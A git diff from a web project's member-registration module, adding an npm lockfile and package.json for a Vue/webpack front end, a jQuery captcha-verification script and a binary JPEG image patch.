"https://registry.npm.taobao.org/anymatch/download/anymatch-3.1.1.tgz", + "integrity": "sha1-xV7PAhheJGklk5kxDBc84xIzsUI=", + "dev": true, + "optional": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-2.2.0.tgz?cache=0&sync_timestamp=1610299293319&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbinary-extensions%2Fdownload%2Fbinary-extensions-2.2.0.tgz", + "integrity": "sha1-dfUC7q+f/eQvyYgpZFvk6na9ni0=", + "dev": true, + "optional": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npm.taobao.org/braces/download/braces-3.0.2.tgz", + "integrity": "sha1-NFThpGLujVmeI23zNs2epPiv4Qc=", + "dev": true, + "optional": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.1", + "resolved": "https://registry.npm.taobao.org/chokidar/download/chokidar-3.5.1.tgz?cache=0&sync_timestamp=1610719440699&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-3.5.1.tgz", + "integrity": "sha1-7pznu+vSt59J8wR5nVRo4x4U5oo=", + "dev": true, + "optional": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.3.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.5.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-7.0.1.tgz", + "integrity": "sha1-GRmmp8df44ssfHflGYU12prN2kA=", + "dev": true, + "optional": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npm.taobao.org/fsevents/download/fsevents-2.3.2.tgz?cache=0&sync_timestamp=1612537044236&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffsevents%2Fdownload%2Ffsevents-2.3.2.tgz", + "integrity": "sha1-ilJveLj99GI7cJ4Ll1xSwkwC/Ro=", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npm.taobao.org/glob-parent/download/glob-parent-5.1.2.tgz", + "integrity": "sha1-hpgyxYA0/mikCTwX3BXoNA2EAcQ=", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-2.1.0.tgz", + "integrity": "sha1-6h9/O4DwZCNug0cPhsCcJU+0Wwk=", + "dev": true, + "optional": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-7.0.0.tgz", + "integrity": "sha1-dTU0W4lnNNX4DE0GxQlVUnoU8Ss=", + "dev": true, + "optional": true + }, + "readdirp": { + "version": "3.5.0", + "resolved": "https://registry.npm.taobao.org/readdirp/download/readdirp-3.5.0.tgz", + "integrity": "sha1-m6dMAZsV02UnjS6Ru4xI17TULJ4=", + "dev": true, + "optional": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-5.0.1.tgz", + "integrity": "sha1-FkjESq58jZiKMmAY7XL1tN0DkuQ=", + "dev": true, + "optional": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "watchpack-chokidar2": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/watchpack-chokidar2/download/watchpack-chokidar2-2.0.1.tgz?cache=0&sync_timestamp=1604989085906&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwatchpack-chokidar2%2Fdownload%2Fwatchpack-chokidar2-2.0.1.tgz", + "integrity": "sha1-OFAAcu5uzmbzdpk2lQ6hdxvhyVc=", + "dev": true, + "optional": true, + "requires": { + "chokidar": "^2.1.8" + } + }, + "webpack": { + "version": "4.46.0", + "resolved": "https://registry.npm.taobao.org/webpack/download/webpack-4.46.0.tgz", + "integrity": "sha1-v5tEBOogoHNgXgoBHRiNd8tq1UI=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-module-context": "1.9.0", + "@webassemblyjs/wasm-edit": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0", + "acorn": "^6.4.1", + "ajv": "^6.10.2", + "ajv-keywords": "^3.4.1", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^4.5.0", + "eslint-scope": "^4.0.3", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^2.4.0", + "loader-utils": "^1.2.3", + "memory-fs": "^0.4.1", + "micromatch": "^3.1.10", + "mkdirp": "^0.5.3", + "neo-async": "^2.6.1", + "node-libs-browser": "^2.2.1", + "schema-utils": "^1.0.0", + "tapable": "^1.1.3", + "terser-webpack-plugin": "^1.4.3", + "watchpack": "^1.7.4", + "webpack-sources": "^1.4.1" + }, + "dependencies": { + "acorn": { + "version": "6.4.2", + "resolved": "https://registry.npm.taobao.org/acorn/download/acorn-6.4.2.tgz?cache=0&sync_timestamp=1615305874483&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Facorn%2Fdownload%2Facorn-6.4.2.tgz", + "integrity": "sha1-NYZv1xBSjpLeEM8GAWSY5H454eY=", + "dev": true + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz", + "integrity": "sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + } + } + } + }, + "webpack-build-notifier": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/webpack-build-notifier/download/webpack-build-notifier-2.1.1.tgz", + "integrity": "sha1-3YN4hbw6FVoq5aPPqmDlB04wpnI=", + "dev": true, + "requires": { + "node-notifier": "9.0.0", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-5.0.0.tgz", + "integrity": "sha1-OIU59VF5vzkznIGvMKZU1p+Hy3U=", + "dev": true + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-6.0.0.tgz", + "integrity": "sha1-CxVx3XZpzNTz4G4U7x7tJiJa5TI=", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + } + } + }, + "webpack-cli": { + "version": "4.5.0", + "resolved": "https://registry.npm.taobao.org/webpack-cli/download/webpack-cli-4.5.0.tgz?cache=0&sync_timestamp=1612285523255&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-cli%2Fdownload%2Fwebpack-cli-4.5.0.tgz", + "integrity": "sha1-tSE7hK324fXeY5EzTJ+lOkiFBGY=", + "dev": true, + "requires": { + "@discoveryjs/json-ext": "^0.5.0", + "@webpack-cli/configtest": "^1.0.1", + "@webpack-cli/info": "^1.2.2", + "@webpack-cli/serve": "^1.3.0", + "colorette": "^1.2.1", + "commander": "^7.0.0", + "enquirer": "^2.3.6", + "execa": "^5.0.0", + "fastest-levenshtein": "^1.0.12", + "import-local": "^3.0.2", + "interpret": "^2.2.0", + "rechoir": "^0.7.0", + "v8-compile-cache": "^2.2.0", + "webpack-merge": "^5.7.3" + }, + "dependencies": { + "commander": { + "version": "7.1.0", + "resolved": "https://registry.npm.taobao.org/commander/download/commander-7.1.0.tgz?cache=0&sync_timestamp=1613374024216&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcommander%2Fdownload%2Fcommander-7.1.0.tgz", + "integrity": "sha1-8urs8THxDjbgfYlGmCJuNq4Otf8=", + "dev": true + }, + "interpret": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/interpret/download/interpret-2.2.0.tgz", + "integrity": "sha1-GnigtZZcQKVBbQB61vUK0nxBffk=", + "dev": true + }, + "rechoir": { + "version": "0.7.0", + "resolved": "https://registry.npm.taobao.org/rechoir/download/rechoir-0.7.0.tgz", + "integrity": "sha1-MmUP1SwhqyUqpdZbGTEEQcfgOso=", + "dev": true, + "requires": { + "resolve": "^1.9.0" + } + } + } + }, + "webpack-merge": { + "version": "5.7.3", + "resolved": "https://registry.npm.taobao.org/webpack-merge/download/webpack-merge-5.7.3.tgz?cache=0&sync_timestamp=1608705595544&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-merge%2Fdownload%2Fwebpack-merge-5.7.3.tgz", + "integrity": "sha1-KgdU4Yd6Jai7qz0kdcpwoFJwghM=", + "dev": true, + "requires": { + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" + } + }, + "webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npm.taobao.org/webpack-sources/download/webpack-sources-1.4.3.tgz?cache=0&sync_timestamp=1603965333971&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-sources%2Fdownload%2Fwebpack-sources-1.4.3.tgz", + "integrity": "sha1-7t2OwLko+/HL/plOItLYkPMwqTM=", + "dev": true, + "requires": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "when": { + "version": "3.7.8", + "resolved": "https://registry.npm.taobao.org/when/download/when-3.7.8.tgz", + "integrity": "sha1-xxMLan6gRpPoQs3J56Hyqjmjn4I=", + "dev": true + }, + "which": { + "version": "1.3.1", + "resolved": "https://registry.npm.taobao.org/which/download/which-1.3.1.tgz", + "integrity": "sha1-pFBD1U9YBTFtqNYvn1CRjT2nCwo=", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + }, + "which-module": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/which-module/download/which-module-1.0.0.tgz", + "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=", + "dev": true + }, + "wildcard": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/wildcard/download/wildcard-2.0.0.tgz", + "integrity": "sha1-p30g5SAMb6qsl55LOq3Hs91/j+w=", + "dev": true + }, + "window-size": { + "version": "0.1.0", + "resolved": "https://registry.npm.taobao.org/window-size/download/window-size-0.1.0.tgz", + "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=", + "dev": true + }, + "wmf": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/wmf/download/wmf-1.0.2.tgz", + "integrity": "sha1-fRnWIQcaCMK9xrfmiKnENSmMwto=" + }, + "word": { + "version": "0.3.0", + "resolved": "https://registry.npm.taobao.org/word/download/word-0.3.0.tgz", + "integrity": "sha1-hUIVfk+OhJ9KNjooiZLUdhLbmWE=" + }, + "wordwrap": { + "version": "0.0.2", + "resolved": "https://registry.npm.taobao.org/wordwrap/download/wordwrap-0.0.2.tgz", + "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=", + "dev": true + }, + "worker-farm": { + "version": "1.7.0", + "resolved": "https://registry.npm.taobao.org/worker-farm/download/worker-farm-1.7.0.tgz", + "integrity": "sha1-JqlMU5G7ypJhUgAvabhKS/dy5ag=", + "dev": true, + "requires": { + "errno": "~0.1.7" + } + }, + "wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-2.1.0.tgz", + "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/wrappy/download/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true + }, + "xlsx": { + "version": "0.16.9", + "resolved": "https://registry.npm.taobao.org/xlsx/download/xlsx-0.16.9.tgz?cache=0&sync_timestamp=1605857177269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fxlsx%2Fdownload%2Fxlsx-0.16.9.tgz", + "integrity": "sha1-2s1btGvabdN0OUDJw9weIXGCYlY=", + "requires": { + "adler-32": "~1.2.0", + "cfb": "^1.1.4", + "codepage": "~1.14.0", + "commander": "~2.17.1", + "crc-32": "~1.2.0", + "exit-on-epipe": "~1.0.1", + "fflate": "^0.3.8", + "ssf": "~0.11.2", + "wmf": "~1.0.1", + "word": "~0.3.0" + }, + "dependencies": { + "commander": { + "version": "2.17.1", + "resolved": "https://registry.npm.taobao.org/commander/download/commander-2.17.1.tgz?cache=0&sync_timestamp=1613374024216&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcommander%2Fdownload%2Fcommander-2.17.1.tgz", + "integrity": "sha1-vXerfebelCBc6sxy8XFtKfIKd78=" + } + } + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npm.taobao.org/xtend/download/xtend-4.0.2.tgz", + "integrity": "sha1-u3J3n1+kZRhrH0OPZ0+jR/2121Q=", + "dev": true + }, + "y18n": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/y18n/download/y18n-3.2.2.tgz?cache=0&sync_timestamp=1609798736426&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fy18n%2Fdownload%2Fy18n-3.2.2.tgz", + "integrity": "sha1-hckBvWRwznH8S7cjrSCbcPfyhpY=", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/yallist/download/yallist-4.0.0.tgz", + "integrity": "sha1-m7knkNnA7/7GO+c1GeEaNQGaOnI=", + "dev": true + }, + "yargs": { + "version": "7.1.1", + "resolved": "https://registry.npm.taobao.org/yargs/download/yargs-7.1.1.tgz?cache=0&sync_timestamp=1615225212092&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyargs%2Fdownload%2Fyargs-7.1.1.tgz", + "integrity": "sha1-Z/DvUuIo1O4NYxGs7eiFD1NGTfY=", + "dev": true, + "requires": { + "camelcase": "^3.0.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^1.4.0", + "read-pkg-up": "^1.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^1.0.2", + "which-module": "^1.0.0", + "y18n": "^3.2.1", + "yargs-parser": "5.0.0-security.0" + }, + "dependencies": { + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-3.0.0.tgz?cache=0&sync_timestamp=1603921787305&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", + "dev": true + } + } + }, + "yargs-parser": { + "version": "5.0.0-security.0", + "resolved": "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-5.0.0-security.0.tgz?cache=0&sync_timestamp=1613962113841&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyargs-parser%2Fdownload%2Fyargs-parser-5.0.0-security.0.tgz", + "integrity": "sha1-T/cnHSX5CsFWQ7hgdqKrSZ7J7iQ=", + "dev": true, + "requires": { + "camelcase": "^3.0.0", + "object.assign": "^4.1.0" + }, + "dependencies": { + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-3.0.0.tgz?cache=0&sync_timestamp=1603921787305&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", + "dev": true + } + } + } + } +} diff --git a/module/Member/resources/asset/package.json b/module/Member/resources/asset/package.json new file mode 100644 index 00000000..0c238d72 --- /dev/null +++ b/module/Member/resources/asset/package.json @@ -0,0 +1,45 @@ +{ + "devDependencies": { + "@babel/core": "^7.12.10", + "@babel/preset-env": "^7.12.11", + "babel-loader": "^8.2.2", + "babel-plugin-transform-remove-strict-mode": "^0.0.2", + "css-loader": "^5.0.1", + "expose-loader": "^1.0.3", + "extract-text-webpack-plugin": "^4.0.0-beta.0", + "file-loader": "^6.2.0", + "gulp": "^4.0.2", + "gulp-clean-css": "^4.3.0", + "gulp-less": "^4.0.1", + "gulp-print": "^5.0.2", + "gulp-style-aliases": "^1.1.11", + "jsx-loader": "^0.13.2", + "less": "^3.13.1", + "less-loader": "^5.0.0", + "merge-stream": "^2.0.0", + "on-build-webpack": "^0.1.0", + "style-loader": "^2.0.0", + "uglify-js": "^3.12.6", + "url-loader": "^4.1.1", + "vue-loader": "^15.9.6", + "vue-template-compiler": "^2.6.12", + "webpack": "^4.46.0", + "webpack-build-notifier": "^2.1.1", + "webpack-cli": "^4.5.0" + }, + "dependencies": { + "dateformat": "^4.5.1", + "element-ui": "^2.15.1", + "jquery": "^3.5.1", + "js-cookie": "^2.2.1", + "md5": "^2.3.0", + "query-string": "^6.14.0", + "randomstring": "^1.1.5", + "sprintf-js": "^1.1.2", + "ua-parser-js": "^0.7.24", + "vue": "^2.6.12", + "vue-clipboard2": "^0.3.1", + "xlsx": "^0.16.9", + "isutf8": "^3.0.0" + } +} diff --git a/module/Member/resources/asset/src/entry/register.js b/module/Member/resources/asset/src/entry/register.js new file mode 100644 index 00000000..6e35e9ac --- /dev/null +++ b/module/Member/resources/asset/src/entry/register.js @@ -0,0 +1,17 @@ +window.__memberCheckCaptcha = function (param) { + param = param || {captcha: $('[name=captcha]').val()}; + $('[data-captcha-status]').hide().filter('[data-captcha-status=loading]').show() + window.api.base.post(window.__msRoot + 'register/captcha_verify', param, function (res) { + window.api.base.defaultFormCallback(res, { + success: function (res) { + $('[data-captcha-status]').hide().filter('[data-captcha-status=success]').show(); + $('[name=captcha]').attr('data-form-process','success'); + }, + error: function (res) { + $('[data-captcha-status]').hide().filter('[data-captcha-status=error]').show(); + $('[data-captcha]').click(); + $('[name=captcha]').attr('data-form-process','success'); + } + }) + }) +}; diff --git a/module/Member/resources/asset/src/image/vip_bg.jpeg b/module/Member/resources/asset/src/image/vip_bg.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..06b35eb8ba92348f5c3b68ed64b8344475020ce9 GIT binary patch literal 19888 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
98UwZ8@Fi(+Ozi; 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

